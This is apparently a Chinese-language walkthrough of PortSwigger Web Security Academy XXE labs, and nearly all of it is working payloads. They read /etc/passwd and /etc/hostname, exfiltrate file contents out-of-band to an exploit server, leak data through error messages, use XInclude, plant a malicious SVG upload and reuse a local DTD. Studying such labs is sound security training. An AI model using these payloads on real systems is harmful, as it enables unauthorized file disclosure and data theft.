portswigger labs XXE漏洞利用实战
lab1 利用外部实体注入获取文件
解决此 lab 需要读取到/etc/passwd
<!DOCTYPE test [
<!ENTITY cmd SYSTEM "file:///etc/passwd">
]>
<productId>&cmd;</productId>
lab2 利用 XXE 执行 SSRF 攻击
通过构造 xxe 请求特定的 url 获取目录
拼接后继续请求
依次拼接得到的目录,最后拿到凭证
lab3 外带数据 xxe
lab4 使用参数实体的外带数据 XXE
lab5 利用 XXE 外带窃取数据
lab 指定窃取数据为/etc/hostname
存储到漏洞服务器 store 下面的内容
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % getfile SYSTEM 'http://burp/?x=%file;'>">
%eval;
%getfile;
]>
漏洞利用服务器中的 url 如下
https://exploit-0a550008042988b880b170af01880017.exploit-server.net/exploit
check stock 抓包,添加如下 xxe 语句
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a550008042988b880b170af01880017.exploit-server.net/exploit"> %xxe;]>
lab6 利用盲XXE通过错误消息检索数据
漏洞服务器存储下列内容
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % getfile SYSTEM 'file:///invalid/%file;'>">
%eval;
%getfile;
查看漏洞,漏洞 url
https://exploit-0a0d008204c5473da34958a801bb0074.exploit-server.net/exploit
lab7 利用XInclude检索文件
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
XInclude是W3C标准,用于实现XML文档的模块化,允许通过<xi:include>
元素动态引入其他文件的内容。其核心属性包括:
href
:指定要包含的文件路径(支持file://
、http://
等协议)。
parse
:控制包含方式,parse="text"
表示以纯文本形式直接嵌入内容,不解析为XML结构
lab8 通过图像文件上传利用XXE
将下列内容保存为 1.svg 格式
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
通过留言板中上传头像
留言成功后可以通过查看头像显示的内容获取到 hostname
lab9 通过重用本地 DTD 利用 XXE 检索数据
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>